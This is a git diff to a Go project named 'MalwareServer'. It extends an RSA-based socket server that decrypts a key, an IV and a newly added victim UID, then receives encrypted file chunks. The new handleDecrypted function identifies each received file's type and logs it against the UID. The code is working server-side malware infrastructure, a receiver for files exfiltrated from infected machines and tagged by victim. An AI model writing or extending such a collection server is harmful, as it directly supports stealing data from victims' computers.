diff --git a/go.mod b/go.mod index af0b946..e8bed6e 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,5 @@ module MalwareServer go 1.22.2 + +require github.com/liamg/magic v0.0.1 // indirect diff --git a/rsaserver.go b/rsaserver.go index 1de130d..b9e34c0 100644 --- a/rsaserver.go +++ b/rsaserver.go @@ -13,6 +13,7 @@ import ( "io/ioutil" "log" "net" + "github.com/liamg/magic" ) func main() { @@ -65,6 +66,10 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) { iv, _ := decryptKeyIV(ivData,privateKey) conn.Write([]byte("Received IV\n")) + uidData, _ := bufio.NewReader(conn).ReadString('\n') + uid, _ := decryptKeyIV(uidData,privateKey) + conn.Write([]byte("Received UID\n")) + var ciphertext []byte var chunk string var plaintext []byte @@ -91,7 +96,7 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) { conn.Write([]byte("Received and decrypted chunk\n")) } - fmt.Println("Decrypted text:", string(plaintext)) + handleDecrypted(plaintext, uid) conn.Write([]byte("Ready for next operation\n")) } @@ -171,4 +176,19 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) { } decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage))) return decodedKey, err -} \ No newline at end of file +} + +func handleDecrypted(decryptedDataB []byte, uidB []byte){ + data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB))) + fileType, err := magic.Lookup(data) + if err != nil { + if err == magic.ErrUnknown { + fmt.Println("File type is unknown") + }else{ + panic(err) + } + } + fmt.Printf("UID: %s\n", string(uidB)) + fmt.Printf("File extension: %s\n", fileType.Extension) + fmt.Printf("File type description: %s\n", fileType.Description) +}